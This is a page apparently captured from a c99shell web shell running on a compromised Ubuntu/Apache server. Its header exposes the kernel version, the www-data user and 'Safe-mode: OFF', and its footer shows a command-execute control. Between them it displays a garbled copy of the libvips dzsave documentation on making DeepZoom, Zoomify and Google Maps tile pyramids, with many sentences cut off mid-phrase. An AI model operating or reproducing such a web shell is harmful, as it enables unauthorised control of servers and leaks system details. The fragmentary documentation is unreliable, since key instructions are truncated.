Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 uid=33(www-data) gid=33(www-data) groups=33(www-data) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/libvips/ drwxr-xr-x | |
| Viewing file: Select action/file-type:
libvips includes
The TIFF writer, Run dzsave with no arguments to see a summary:
$ vips dzsave
save image to deepzoom file
usage:
dzsave in filename
where:
in - Image to save, input VipsImage
filename - Filename to save to, input gchararray
optional arguments:
basename - Base name to save to, input gchararray
layout - Directory layout, input VipsForeignDzLayout
default: dz
allowed: dz, zoomify, google
suffix - Filename suffix for tiles, input gchararray
overlap - Tile overlap in pixels, input gint
default: 1
min: 0, max: 8192
tile-size - Tile size in pixels, input gint
default: 254
min: 1, max: 8192
centre - Center image in tile, input gboolean
default: false
depth - Pyramid depth, input VipsForeignDzDepth
default: onepixel
allowed: onepixel, onetile, one
angle - Rotate image during save, input VipsAngle
default: d0
allowed: d0, d90, d180, d270
container - Pyramid container type, input VipsForeignDzContainer
default: fs
allowed: fs, zip
properties - Write a properties file to the output directory, input
gboolean
default: false
compression - ZIP deflate compression level, input gint
default: 0
min: -1, max: 9
strip - Strip all metadata from image, input gboolean
default: false
background - Background value, input VipsArrayDouble
operation flags: sequential nocache
You can also call Writing DeepZoom pyramids
The $ vips dzsave huge.tif mydz
This will create a directory called
You can use the $ vips dzsave huge.tif mydz --suffix .jpg[Q=90]
will write JPEG tiles with the quality factor set to 90. You can set any format write options you like, see the API docs for Writing Zoomify pyramids
Use $ vips dzsave huge.tif myzoom --layout zoomify
This will create a directory called
As with DeepZoom, you can use Writing Google Maps pyramids
Use $ vips dzsave wtc.tif gmapdir --layout google
Will create a directory called
As with DeepZoom, you can use
Use
Use For example: $ vips dzsave wtc.tif gmapdir --layout google --background 0 --centre Other options
You can use
You can use
You can use
You can use $ vips dzsave wtc.tif mypyr.zip
to write a zipfile containing the tiles. You can use
Use Preprocessing images
You can use $ vips extract_area huge.svs mypy.dz[layout=google] 100 100 10000 10000
The arguments to If you are working from OpenSlide images, you can use the shrink-on-load feature of many of those formats. For example: $ vips dzsave CMU-1.mrxs[level=1] x Will pull out level 1 (the half-resolution level of an MRXS slide) and make a pyramid from that. Troubleshooting
If you are building vips from source you do need to check the summary at the end of configure carefully. You must have the |
:: Command execute :: | |
--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0059 ]-- |